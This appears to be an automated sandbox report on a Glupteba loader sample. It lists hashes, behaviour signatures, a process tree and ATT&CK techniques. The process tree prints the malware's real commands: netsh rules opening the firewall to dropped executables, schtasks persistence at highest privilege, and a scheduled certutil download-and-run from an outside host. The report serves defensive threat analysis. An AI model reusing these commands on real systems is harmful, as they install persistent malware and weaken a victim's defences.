Overview

overview

10

Static

static

3

a6e6a5298c...18.exe

windows7-x64

10

a6e6a5298c...18.exe

windows10-2004-x64

10

Analysis

  • max time kernel
    141s
  • max time network
    135s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240611-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240611-enlocale:en-usos:windows10-2004-x64system
  • submitted
    13-06-2024 22:32

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General

  • Target

    a6e6a5298c97037f5f84d5137ce67f50_JaffaCakes118.exe

  • Size

    3.9MB

  • MD5

    a6e6a5298c97037f5f84d5137ce67f50

  • SHA1

    cbe82b83c5970186d6d3d3fb898bbe3988c96c99

  • SHA256

    debbe172912022917f4dd474601c5c482861035e78f9effb590e15310f609c6b

  • SHA512

    02bb695f2de853223762c26465cb9963671bcf7ef06145ad5da0809de44f61906282965adbcafd85dfb83cb38712c35bf218f0e042ebf91ff8cf24d4f26799b6

  • SSDEEP

    98304:qzxHzV+ef6ktiQfRCon8+yJQf0AingqFjvh2yVBoEjMHIN:O9JXti2RConHkhpj5rBjMHI

Score
10/10
gluptebadiscoverydropperevasionloaderpersistencerootkit

Malware Config

Signatures

  • Glupteba

    Glupteba is a modular loader written in Golang with various components.

    loaderdropperglupteba
  • Glupteba payload 37 IoCs
  • Modifies Windows Firewall 2 TTPs 2 IoCs
    evasion
  • Executes dropped EXE 3 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
    persistence
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • Manipulates WinMonFS driver. 1 IoCs

    Roottkits write to WinMonFS to hide directories/files from being detected.

    rootkitevasion
  • Modifies boot configuration data using bcdedit 1 IoCs
  • Suspicious use of SetThreadContext 3 IoCs
  • Checks for VirtualBox DLLs, possible anti-VM trick 1 TTPs 1 IoCs

    Certain files are specific to VirtualBox VMs and can be used to detect execution in a VM.

  • Drops file in Windows directory 2 IoCs
  • Creates scheduled task(s) 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistence
  • Modifies data under HKEY_USERS 64 IoCs
  • Modifies system certificate store 2 TTPs 3 IoCs
    evasionspywaretrojan
  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of WriteProcessMemory 43 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence

Processes

  • C:\Users\Admin\AppData\Local\Temp\a6e6a5298c97037f5f84d5137ce67f50_JaffaCakes118.exe
    "C:\Users\Admin\AppData\Local\Temp\a6e6a5298c97037f5f84d5137ce67f50_JaffaCakes118.exe"
    1⤵
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:4520
    • C:\Users\Admin\AppData\Local\Temp\a6e6a5298c97037f5f84d5137ce67f50_JaffaCakes118.exe
      "C:\Users\Admin\AppData\Local\Temp\a6e6a5298c97037f5f84d5137ce67f50_JaffaCakes118.exe"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1384
      • C:\Users\Admin\AppData\Local\Temp\a6e6a5298c97037f5f84d5137ce67f50_JaffaCakes118.exe
        "C:\Users\Admin\AppData\Local\Temp\a6e6a5298c97037f5f84d5137ce67f50_JaffaCakes118.exe"
        3⤵
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:1196
        • C:\Users\Admin\AppData\Local\Temp\a6e6a5298c97037f5f84d5137ce67f50_JaffaCakes118.exe
          "C:\Users\Admin\AppData\Local\Temp\a6e6a5298c97037f5f84d5137ce67f50_JaffaCakes118.exe"
          4⤵
          • Adds Run key to start application
          • Checks for VirtualBox DLLs, possible anti-VM trick
          • Drops file in Windows directory
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of WriteProcessMemory
          PID:4628
          • C:\Windows\system32\cmd.exe
            C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
            5⤵
            • Suspicious use of WriteProcessMemory
            PID:4800
            • C:\Windows\system32\netsh.exe
              netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
              6⤵
              • Modifies Windows Firewall
              PID:2496
          • C:\Windows\system32\cmd.exe
            C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="CloudNet" dir=in action=allow program="C:\Users\Admin\AppData\Roaming\f956a05b2009\f956a05b2009\f956a05b2009.exe" enable=yes"
            5⤵
            • Suspicious use of WriteProcessMemory
            PID:3448
            • C:\Windows\system32\netsh.exe
              netsh advfirewall firewall add rule name="CloudNet" dir=in action=allow program="C:\Users\Admin\AppData\Roaming\f956a05b2009\f956a05b2009\f956a05b2009.exe" enable=yes
              6⤵
              • Modifies Windows Firewall
              PID:5020
          • C:\Windows\rss\csrss.exe
            C:\Windows\rss\csrss.exe ""
            5⤵
            • Executes dropped EXE
            • Suspicious use of SetThreadContext
            • Suspicious use of WriteProcessMemory
            PID:1860
            • C:\Windows\rss\csrss.exe
              C:\Windows\rss\csrss.exe ""
              6⤵
              • Executes dropped EXE
              • Manipulates WinMonFS driver.
              • Modifies data under HKEY_USERS
              • Modifies system certificate store
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              • Suspicious use of WriteProcessMemory
              PID:4784
              • C:\Windows\SYSTEM32\schtasks.exe
                schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
                7⤵
                • Creates scheduled task(s)
                PID:3592
              • C:\Windows\SYSTEM32\schtasks.exe
                schtasks /CREATE /SC ONLOGON /RL HIGHEST /RU SYSTEM /TR "cmd.exe /C certutil.exe -urlcache -split -f https://biggames.online/app/app.exe C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe && C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe /31340" /TN ScheduledUpdate /F
                7⤵
                • Creates scheduled task(s)
                PID:2656
              • C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe
                "C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"
                7⤵
                • Executes dropped EXE
                PID:1216
              • C:\Windows\system32\bcdedit.exe
                C:\Windows\Sysnative\bcdedit.exe /v
                7⤵
                • Modifies boot configuration data using bcdedit
                PID:3040

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

1
T1053

Persistence

Boot or Logon Autostart Execution

1
T1547

Registry Run Keys / Startup Folder

1
T1547.001

Create or Modify System Process

1
T1543

Windows Service

1
T1543.003

Scheduled Task/Job

1
T1053

Privilege Escalation

Boot or Logon Autostart Execution

1
T1547

Registry Run Keys / Startup Folder

1
T1547.001

Create or Modify System Process

1
T1543

Windows Service

1
T1543.003

Scheduled Task/Job

1
T1053

Defense Evasion

Impair Defenses

1
T1562

Disable or Modify System Firewall

1
T1562.004

Modify Registry

2
T1112

Subvert Trust Controls

1
T1553

Install Root Certificate

1
T1553.004

Credential Access

Discovery

Query Registry

2
T1012

System Information Discovery

1
T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe
    Filesize

    1.7MB

    MD5

    13aaafe14eb60d6a718230e82c671d57

    SHA1

    e039dd924d12f264521b8e689426fb7ca95a0a7b

    SHA256

    f44a7deb678ae7bbaaadf88e4c620d7cdf7e6831a1656c456545b1c06feb4ef3

    SHA512

    ade02218c0fd1ef9290c3113cf993dd89e87d4fb66fa1b34afdc73c84876123cd742d2a36d8daa95e2a573d2aa7e880f3c8ba0c5c91916ed15e7c4f6ff847de3

    Download Submit

  • C:\Windows\rss\csrss.exe
    Filesize

    3.9MB

    MD5

    a6e6a5298c97037f5f84d5137ce67f50

    SHA1

    cbe82b83c5970186d6d3d3fb898bbe3988c96c99

    SHA256

    debbe172912022917f4dd474601c5c482861035e78f9effb590e15310f609c6b

    SHA512

    02bb695f2de853223762c26465cb9963671bcf7ef06145ad5da0809de44f61906282965adbcafd85dfb83cb38712c35bf218f0e042ebf91ff8cf24d4f26799b6

    Download Submit

  • memory/1196-27-0x0000000000400000-0x0000000000C4F000-memory.dmp

    Filesize

    8.3MB

    Download

  • memory/1196-24-0x0000000000400000-0x0000000000C4F000-memory.dmp

    Filesize

    8.3MB

    Download

  • memory/1384-7-0x0000000000400000-0x0000000000B0F000-memory.dmp

    Filesize

    7.1MB

    Download

  • memory/1384-6-0x0000000000400000-0x0000000000B0F000-memory.dmp

    Filesize

    7.1MB

    Download

  • memory/1384-9-0x0000000000400000-0x0000000000B0F000-memory.dmp

    Filesize

    7.1MB

    Download

  • memory/1384-10-0x0000000000400000-0x0000000000B0F000-memory.dmp

    Filesize

    7.1MB

    Download

  • memory/1384-3-0x0000000000400000-0x0000000000B0F000-memory.dmp

    Filesize

    7.1MB

    Download

  • memory/1384-12-0x0000000000400000-0x0000000000B0F000-memory.dmp

    Filesize

    7.1MB

    Download

  • memory/1384-8-0x0000000000400000-0x0000000000B0F000-memory.dmp

    Filesize

    7.1MB

    Download

  • memory/1384-5-0x0000000000400000-0x0000000000B0F000-memory.dmp

    Filesize

    7.1MB

    Download

  • memory/4520-1-0x0000000001220000-0x00000000015CA000-memory.dmp

    Filesize

    3.7MB

    Download

  • memory/4520-2-0x00000000015D0000-0x0000000001CC5000-memory.dmp

    Filesize

    7.0MB

    Download

  • memory/4628-22-0x0000000000400000-0x0000000000B0F000-memory.dmp

    Filesize

    7.1MB

    Download

  • memory/4628-25-0x0000000000400000-0x0000000000B0F000-memory.dmp

    Filesize

    7.1MB

    Download

  • memory/4628-26-0x0000000000400000-0x0000000000B0F000-memory.dmp

    Filesize

    7.1MB

    Download

  • memory/4628-38-0x0000000000400000-0x0000000000B0F000-memory.dmp

    Filesize

    7.1MB

    Download

  • memory/4628-21-0x0000000000400000-0x0000000000B0F000-memory.dmp

    Filesize

    7.1MB

    Download

  • memory/4628-23-0x0000000000400000-0x0000000000B0F000-memory.dmp

    Filesize

    7.1MB

    Download

  • memory/4784-44-0x0000000000400000-0x0000000000B0F000-memory.dmp

    Filesize

    7.1MB

    Download

  • memory/4784-57-0x0000000000400000-0x0000000000B0F000-memory.dmp

    Filesize

    7.1MB

    Download

  • memory/4784-46-0x0000000000400000-0x0000000000B0F000-memory.dmp

    Filesize

    7.1MB

    Download

  • memory/4784-47-0x0000000000400000-0x0000000000B0F000-memory.dmp

    Filesize

    7.1MB

    Download

  • memory/4784-48-0x0000000000400000-0x0000000000B0F000-memory.dmp

    Filesize

    7.1MB

    Download

  • memory/4784-49-0x0000000000400000-0x0000000000B0F000-memory.dmp

    Filesize

    7.1MB

    Download

  • memory/4784-50-0x0000000000400000-0x0000000000B0F000-memory.dmp

    Filesize

    7.1MB

    Download

  • memory/4784-45-0x0000000000400000-0x0000000000B0F000-memory.dmp

    Filesize

    7.1MB

    Download

  • memory/4784-53-0x0000000000400000-0x0000000000B0F000-memory.dmp

    Filesize

    7.1MB

    Download

  • memory/4784-55-0x0000000000400000-0x0000000000B0F000-memory.dmp

    Filesize

    7.1MB

    Download

  • memory/4784-56-0x0000000000400000-0x0000000000B0F000-memory.dmp

    Filesize

    7.1MB

    Download

  • memory/4784-43-0x0000000000400000-0x0000000000B0F000-memory.dmp

    Filesize

    7.1MB

    Download

  • memory/4784-58-0x0000000000400000-0x0000000000B0F000-memory.dmp

    Filesize

    7.1MB

    Download

  • memory/4784-59-0x0000000000400000-0x0000000000B0F000-memory.dmp

    Filesize

    7.1MB

    Download

  • memory/4784-60-0x0000000000400000-0x0000000000B0F000-memory.dmp

    Filesize

    7.1MB

    Download

  • memory/4784-61-0x0000000000400000-0x0000000000B0F000-memory.dmp

    Filesize

    7.1MB

    Download

  • memory/4784-62-0x0000000000400000-0x0000000000B0F000-memory.dmp

    Filesize

    7.1MB

    Download

  • memory/4784-63-0x0000000000400000-0x0000000000B0F000-memory.dmp

    Filesize

    7.1MB

    Download

  • memory/4784-64-0x0000000000400000-0x0000000000B0F000-memory.dmp

    Filesize

    7.1MB

    Download

  • memory/4784-65-0x0000000000400000-0x0000000000B0F000-memory.dmp

    Filesize

    7.1MB

    Download

  • memory/4784-66-0x0000000000400000-0x0000000000B0F000-memory.dmp

    Filesize

    7.1MB

    Download

  • memory/4784-67-0x0000000000400000-0x0000000000B0F000-memory.dmp

    Filesize

    7.1MB

    Download